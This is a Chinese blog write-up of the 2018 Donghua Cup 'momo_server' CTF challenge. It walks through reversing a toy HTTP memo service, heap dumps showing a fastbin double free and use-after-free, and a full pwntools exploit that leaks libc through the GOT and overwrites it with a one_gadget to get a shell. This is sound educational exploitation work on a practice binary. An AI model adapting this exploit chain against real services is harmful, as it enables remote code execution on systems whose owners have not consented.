盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. 利用构造:
  3. EXP:
  4. 最后:

2018东华杯-momo_server

前言:

比赛的时候看了一天的arm,照样是没有解出来。。没有遇到过mprotect这种操作。赛后花时间复现了一下很少人做出来的momo_server,大佬们还是强呀。

正文:

这道题在分析程序执行流程上面就有一定的难度,要对http协议有一定的了解程度才能很快的分析完执行流程。先来看看整个程序的执行流程:

前半段:

1
2
3
4
5
6
7
8
9
10
v7 = 1;
memset(&v6, 0, 0x10000uLL);
v9 = read(0, s, v8 - 1);
if ( v9 >= 0 )
{
*((_BYTE *)s + v9) = 0;
__isoc99_sscanf(s, "%s %s %s \n", &s1, &v15, &v14);
if ( !strstr((const char *)s, "Connection: keep-alive") )
v7 = 0;
v12 = sub_40176B((const char *)s);

__isoc99_sscanf类似于正则表达式,具体的可以自行去看函数定义,在这里的作用是用空格做分隔符,将输入的字符串切割后分别赋值给s1v15v14strstr是查询子字符串,所以这里的作用是如果在输入中查不到Connection: keep-alive字符串,则v7变为0,程序最后会直接退出。所以为了让程序一直运行不退出,输入必须带有Connection: keep-alive字符串。

再来看看程序功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( !strcmp(&s1, "GET") )
{
if ( !strcmp(&v15, "/") )
{
sub_400E67();
}
else if ( !strcmp(&v15, "/list") )
{
sub_400E82();
}
else
{
sub_400E4C();
}
}

如果s1,v15分别为GET,/则执行sub_400E67()。该函数具体没什么用,往下是sub_400E82()函数,这个函数先放着,看名字list可以大致猜测到是“显示堆”功能的函数。再往下sub_400E4C()函数也没什么用。所以想要调用/list函数可以这样构造输入:

GET /list Connection: keep-alive

往下看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else if ( !strcmp(&s1, "POST") )
{
if ( !strcmp(&v15, "/add") )
{
sub_4011EE(v12);
}
else if ( !strcmp(&v15, "/count") )
{
sub_4016A8();
}
else if ( !strcmp(&v15, "/echo") )
{
sub_4010CB(v12, (__int64)"/echo", v3, v4, v5);
}
else
{
sub_400E4C();
}
}

原理如上,这里需要提上一嘴的是第一个函数中传入了v12参数,往上看可以发现v12sub_40176B()得来:

1
2
3
4
5
6
7
8
9
10
11
12
char *__fastcall sub_40176B(const char *a1)
{
char *v2; // [rsp+18h] [rbp-8h]

if ( strstr(a1, "\r\n\r\n") )
return strstr(a1, "\r\n\r\n") + 4;
if ( strstr(a1, "\n\n") )
return strstr(a1, "\n\n") + 2;
if ( strstr(a1, "\r\r") )
v2 = strstr(a1, "\r\r") + 2;
return v2;
}

查询子字符,如果有以上三种中的一种则返回其中一种字符串的后面内容,比如我输入了v1nke1\r\n\r\nv1nke2,则返回v1nke2字符。

进入/add函数中分析:

1
2
3
4
if ( (unsigned int)__isoc99_sscanf(v1, "%10[^=]=%80s", &s, &s2, v2)
&& (v3 = strtok(0LL, "&"), (unsigned int)__isoc99_sscanf(v3, "%10[^=]=%10s", &s1, &nptr, v4)) )
{
if ( !strcmp(&s, "memo") && s2 && (v5 = "count", !strcmp(&s1, "count")) && nptr && atoi(&nptr) >= 0 )

这段对传入参数v12做处理,先用&做分隔符分成两段字符串,前一段中取=前面部分赋值给s,=后面赋值给s2。后一段取=前给s1,=后给nptr

后面的if语句是要求smemos1count。且nptr为数字且大于0。

往后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for ( i = 0; i <= 15 && *(&ptr + i); ++i )
{
if ( *(_QWORD *)*(&ptr + i) )
{
v5 = &s2;
if ( !strcmp(*(const char **)*(&ptr + i), &s2) )
{
v6 = (__int64)*(&ptr + i);
*(_DWORD *)(v6 + 8) = atoi(&nptr);
*((_WORD *)*(&ptr + i) + 6) = 0;
sprintf(&v19, "{\"status\":\"%s\"}", "ok");
pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);
return __readfsqword(0x28u) ^ v20;
}
}
}

这段函数引起double free漏洞。后面可以充分体会到。

1
2
3
4
5
6
7
8
9
10
11
12
v7 = (char **)malloc(0x10uLL);
v8 = strlen(&s2);
v9 = (char *)malloc(v8);
*v7 = v9;
sub_400D84(&s2, (__int64)v5, (__int64)v9, v10, v11);
v12 = strlen(&s2);
strncpy(*v7, &s2, v12 + 1);
*((_DWORD *)v7 + 2) = atoi(&nptr);
*((_WORD *)v7 + 6) = 0;
*(&ptr + i) = v7;
sprintf(&v19, "{\"status\":\"%s\"}", "ok");
pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);

这里可以看到该函数先分配0x20的堆结构体,然后根据memo=后边的内容大小分配合适的堆。再将count=后面的数字赋值到堆结构体中去,并在六字节处置0。最后&ptr位于bss段,将堆结构体指针赋值到bss段中。这里再往回看/list中的内容,就明白了其具体内容就是显示分配堆中的内容。

往下看第二个函数:

1
2
3
4
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) )
{
sub_401041((__int64)"failed");
}

开了一个多线程函数,进入到start_routine函数中去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
do
{
v2 = 0;
for ( i = 0; i <= 15; ++i )
{
if ( *(&ptr + i) )
{
if ( *((_DWORD *)*(&ptr + i) + 2) <= 0 )
{
if ( !*((_DWORD *)*(&ptr + i) + 2) && *((_WORD *)*(&ptr + i) + 6) )
{
*((_WORD *)*(&ptr + i) + 6) = 0;
free(*(void **)*(&ptr + i));
}
}
else
{
--*((_DWORD *)*(&ptr + i) + 2);
*((_WORD *)*(&ptr + i) + 6) = 1;
++v2;
}
}
}
result = sleep(1u);
}
while ( v2 );

遍历15个堆结构,根据所赋值的count=后的数字是否小于等于0,否则减一,再将第六位赋值为1,是则第六位置零,并free堆,这里存在UAF漏洞,没有清空指针。

后面的echo函数没有用,但是官方给出的writeup说是echo函数中没有00截断字符串,会泄漏地址。但是我实际调试当中发现是有00截断的,没办法泄漏地址,只是一个你输入了什么原样输出的一个函数而已。。

利用构造:

这里就用double free来利用,先添加四个0x20的堆和五个0x40的堆,除最后一个0x40的堆外别的堆count置为1。而后free掉八组堆,成为fastbin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x12b5000:	0x0000000000000000	0x0000000000000021 < -- 1
0x12b5010: 0x00000000012b5030 0x0000000000000000
0x12b5020: 0x0000000000000000 0x0000000000000021
0x12b5030: 0x0000000000000000 0x0000000000000000
0x12b5040: 0x0000000000000000 0x0000000000000021 < -- 2
0x12b5050: 0x00000000012b5070 0x0000000000000000
0x12b5060: 0x0000000000000000 0x0000000000000021
0x12b5070: 0x00000000012b5020 0x0000000000000000
0x12b5080: 0x0000000000000000 0x0000000000000021 < -- 3
0x12b5090: 0x00000000012b50b0 0x0000000000000000
0x12b50a0: 0x0000000000000000 0x0000000000000021
0x12b50b0: 0x00000000012b5060 0x0000000000000000
0x12b50c0: 0x0000000000000000 0x0000000000000021 < -- 4
0x12b50d0: 0x00000000012b50f0 0x0000000000000000
0x12b50e0: 0x0000000000000000 0x0000000000000021
0x12b50f0: 0x00000000012b50a0 0x0000000000000000

然后/list一下,泄漏出堆基地址。

这里再add一个新堆,但是堆内容跟之前所分配堆中的某个堆内容一样。这样的话就会执行add函数中的导致double free的地方,此时并不malloc新堆,而是将内容重复堆的结构体堆count处内容置为我们刚刚addcount内容,导致这个堆本已经free过了但是还能再次free。这里我们选择重置第三个堆,也就是要add一个memo=0x12b5060的堆(根据以上堆情况得出的值)。再来看看堆情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0xd9b000:	0x0000000000000000	0x0000000000000021
0xd9b010: 0x0000000000d9b030 0x0000000000000000
0xd9b020: 0x0000000000000000 0x0000000000000021
0xd9b030: 0x0000000000000000 0x0000000000000000
0xd9b040: 0x0000000000000000 0x0000000000000021
0xd9b050: 0x0000000000d9b070 0x0000000000000000
0xd9b060: 0x0000000000000000 0x0000000000000021
0xd9b070: 0x0000000000d9b020 0x0000000000000000
0xd9b080: 0x0000000000000000 0x0000000000000021
0xd9b090: 0x0000000000d9b0b0 0x0000000000000001 < -- 置为1
0xd9b0a0: 0x0000000000000000 0x0000000000000021
0xd9b0b0: 0x0000000000d9b060 0x0000000000000000
0xd9b0c0: 0x0000000000000000 0x0000000000000021
0xd9b0d0: 0x0000000000d9b0f0 0x0000000000000000
0xd9b0e0: 0x0000000000000000 0x0000000000000021
0xd9b0f0: 0x0000000000d9b0a0 0x0000000000000000

free掉后再看看fastbin中的情况(堆变化是因为不是同一次复制数据,看偏移即可):

1
2
3
4
5
6
7
8
fastbins
0x20: 0x15f00a0 —▸ 0x15f00e0 ◂— 0x15f00a0
0x30: 0x0
0x40: 0x15f0240 —▸ 0x15f01e0 —▸ 0x15f0180 —▸ 0x15f0120 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

这时候就可以充分利用double free的情况了,再add一个堆,并构造出一个fake heap

add(‘aaaaaaaa\x21’,1)

看堆情况:

1
2
3
4
5
6
7
8
9
10
0x1299080:	0x0000000000000000	0x0000000000000021
0x1299090: 0x00000000012990b0 0x0000000000000000
0x12990a0: 0x0000000000000000 0x0000000000000021
0x12990b0: 0x00000000012990f0 0x0000000000000001
0x12990c0: 0x0000000000000000 0x0000000000000021
0x12990d0: 0x00000000012990f0 0x0000000000000000
0x12990e0: 0x0000000000000000 0x0000000000000021
0x12990f0: 0x6161616161616161 0x0000000000000021
fastbins
0x20: 0x12990a0 —▸ 0x12990f0

这时候第二个fastbin为0x12990f0,所以memo=的内容就会被分配在0x1299100处,而0x1299100处恰好是一个之前所分配的堆,所以可以用这点来泄漏libc地址了。继续add一个:

add(‘b’8+’\x21’8+p64(elf.got[‘atoi’]).replace(‘\x00’,’’),12345)

堆情况:

1
2
3
4
5
6
7
8
0x1bcf0c0:	0x0000000000000000	0x0000000000000021 < -- 4
0x1bcf0d0: 0x0000000001bcf0f0 0x0000000000000000
0x1bcf0e0: 0x0000000000000000 0x0000000000000021
0x1bcf0f0: 0x6161616161616161 0x0000000000000021
0x1bcf100: 0x6262626262626262 0x2121212121212121 < -- 5
0x1bcf110: 0x00000000006030a0 0x0000000000000000
0x1bcf120: 0x0000000000000000 0x0000000000000041
0x1bcf130: 0x0000000000000000 0x4545454545454545

而后的利用方式就是常规操作修改got表了,利用方法也同上double free。不过第四次malloc到程序got表的地址处。这里我本想fastbin__malloc_hook的地址处,但是这里需要堆大小为0x70,add中最大内容大小是0x50:

memset(&s2, 0, 0x50uLL);

所以这里行不通,只能在got表地址处找一处错位地址:

1
2
3
4
5
pwndbg> x/20xg 0x60306a
0x60306a: 0x0ac600007f08c728 0x1130000000000040
0x60307a: 0x8ad000007f08c727 0xce7000007f08c725
0x60308a: 0x0b0600007f08c725 0xb660000000000040
0x60309a: 0x3e8000007f08c727 0x294000007f08c722

刚好有一处0x40大小的可构造堆,且__isoc99_sscanf处于0x603080地址处可覆写。

大家复现后会发现这里有一处想不到的地方(反正我是想不到),就是要构造0x30大小的memo内容的时候,该如何既让堆fd指针处是我们所要构造的0x60306a,又要让0x30内容被填充满且中间还不能输入00字符串?(该程序如果memo=后的内容有00字符串则会崩溃,但是要构造0x60306a地址内容就必须有5个00字符串)

这里看了别人的wp后发现他们是这样构造的:

1
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)

实际调试发现:

1
2
3
4
0x1f151e0:	0x0000000000000000	0x0000000000000041
0x1f151f0: 0x000000000060306a 0x4747474747474747
0x1f15200: 0x4747474747474747 0x4747474747474747
0x1f15210: 0x4747474747474747 0x4747474747474747

确实能写入,并且后面的内容不变为’A’。我查了一下这个quote函数不过是个url编码函数,为什么还能有这种效果。。如果有人清楚原理请告诉我一下。。

还有这里需要注意的一个点是在free堆的时候因为程序是开了多线程的,所以需要有一定的延时,不然会导致没有运行完整个count函数代码就进入下一个环节,会导致没有free掉堆的情况。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
import urllib

p = process('./pwn')
libc = ELF('libc-so.6')
elf = ELF('pwn')
context.log_level = 'debug'

def add(content,index):
s = 'POST '+'/add '+'Connection: keep-alive'
s += '\n\n'+'memo='+content+'&count='+str(index)
p.sendline(s)

def count():
s = 'POST '+'/count '+'Connection: keep-alive'
p.sendline(s)

def listlist():
s = 'GET '+'/list '+'Connection: keep-alive'
p.sendline(s)

add('A'*8,1)
add('B'*8,1)
add('C'*8,1)
add('D'*8,1)
add('E'*0x30,1)
add('F'*0x30,1)
add('G'*0x30,1)
add('H'*0x30,1)
add('F'*24,123456)
sleep(1)
count()
sleep(2)
listlist()

p.recvuntil('0</td>')
p.recvuntil('<td>')
data = p.recvuntil('<')
data = data[:-1]
data = u64(data.ljust(8,'\x00'))
heap_base = data - 0x20
log.success('heap addr is:'+hex(heap_base))

sleep(1)
add(p64(heap_base+0x60).replace('\x00',''),1)
count()
sleep(2)
add('aaaaaaaa\x21',1)
add('b'*8+'\x21'*8+p64(elf.got['atoi']).replace('\x00',''),12345)
listlist()

p.recvuntil('aaaaaaaa!</td><td>0</td></tr><tr><td>')
data2 = u64(p.recv(6).ljust(8,'\x00'))
atoi_addr = data2
libc_base = atoi_addr - libc.symbols['atoi']
one_gadget = libc_base + 0x45216
log.success('atoi addr is:'+hex(atoi_addr))
log.success('onegadget addr is:'+hex(one_gadget))

add(p64(heap_base+0x180).replace('\x00',''),1)
count()
sleep(2)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add('A'*6+urllib.quote(flat(p64(one_gadget)).ljust(0x30-14, 'A')),1234)

sleep(0.1)
p.sendline('V1NKe is a stupid boy!')

p.interactive()

最后:

本人的exp写的较为粗糙,在泄漏heap基地址的时候因为对正则了解较少,所以有时候会出现没有正确计算出heap基地址的情况,解决方法是多试几次即可,或者自行修改成正则匹配。

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫